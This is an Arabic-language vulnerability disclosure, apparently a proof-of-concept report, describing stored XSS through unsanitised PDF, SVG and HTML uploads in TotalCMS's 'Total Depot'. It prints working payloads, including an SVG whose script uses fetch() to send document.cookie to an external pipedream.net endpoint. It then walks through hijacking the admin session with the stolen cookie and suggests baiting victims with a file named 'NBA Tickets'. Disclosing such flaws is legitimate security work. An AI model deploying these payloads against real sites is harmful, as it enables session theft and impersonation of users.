
TotalCMS متأثر بثغرة رفع الملفات التعسفي - XSS، والتي تسمح بالبرمجة النصية عبر المواقع المخزّنة (Stored XSS) وكذلك سرقة ملفات تعريف الارتباط الخاصة بالجلسة (Session Cookies).
الوصف: TotalCMS متأثر بثغرة رفع الملفات التعسفي - XSS التي تسمح بالبرمجة النصية عبر المواقع (XSS) وسرقة ملفات تعريف الارتباط الخاصة بالجلسة أيضًا
نواقل الهجوم: تتيح لك ثغرة في تعقيم رفع الملفات في "Total Depot" رفع ملف PDF / SVG / HTML مع تنبيه مخفي للبرمجة النصية عبر المواقع (XSS) وسرقة ملفات تعريف الارتباط الخاصة بالمستخدم.
سأقوم بتقديم 2 من PoCs:
نبدأ مع إثبات المفهوم الأول:
عند تسجيل الدخول إلى لوحة الإدارة (https://www.totalcms.co/demo/total-cms/admin/)، سنذهب إلى "Total Depot" من موقع الإدارة ونرفع ملفات PDF / SVG / HTML مع XSS المخفي.
إليك الحمولات:
إنها حمولة XSS تم إنشاؤها باستخدام أداة JS2PDFInjector وحمولة js تحتوي على المحتوى التالي:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


بمجرد الرفع، إذا نقرنا على الرابط يمكننا رؤية المسار الذي يتم تخزينها فيه:

مسار الملفات:



وهذه هي النتيجة مع البرمجة النصية عبر المواقع (XSS) للأنواع الثلاثة من الملفات ومع ملفات تعريف الارتباط الخاصة بالمستخدم:



نكمل مع إثبات المفهوم الثاني:
سنتظاهر بأننا مجرمو إنترنت وسنقوم بسرقة ملفات تعريف الارتباط الخاصة بجلسة المستخدم وسيتم إرسالها إلى الخادم.
في هذه الحالة قمت برفع ملف كـ PoC لكن في حالة حقيقية، يمكننا رفع ملف باسم مثير للاهتمام "NBA Tickets" ونشره، بحيث يرسل لي المستخدم الضحية ملفات تعريف الارتباط عند تنفيذ الملف دون أن يدرك ذلك.
أولاً، نقوم بإجراء اختبار لمعرفة ما إذا كان لدينا تواصل مع خادم خارجي.
إليك الحمولة:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


كما نرى في طلب pipedream، حصلنا على الطلب بشكل صحيح.
نقوم بتعديل الحمولة لسرقة ملفات تعريف الارتباط وإرسالها إلى طلب pipedream، بحيث يمكننا انتحال صفة المستخدم.
إليك الحمولة:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
نقوم بتنفيذها:


كما نرى في الصورة، حصلنا بشكل صحيح على ملفات تعريف الارتباط الخاصة بجلسة المستخدم.
الآن سوف ننتحل صفة المستخدم. لاختبار ذلك، نفتح جلسة إلى TotalCMS/admin في متصفح آخر ونفتح إضافة "Cookie Editor".

نقوم بتعديل ملف تعريف ارتباط الجلسة إلى الذي حصلنا عليه في pipestream ونحفظ.

قمنا بإعادة تحميل الموقع الإلكتروني وانتحلنا صفة مستخدم المسؤول.
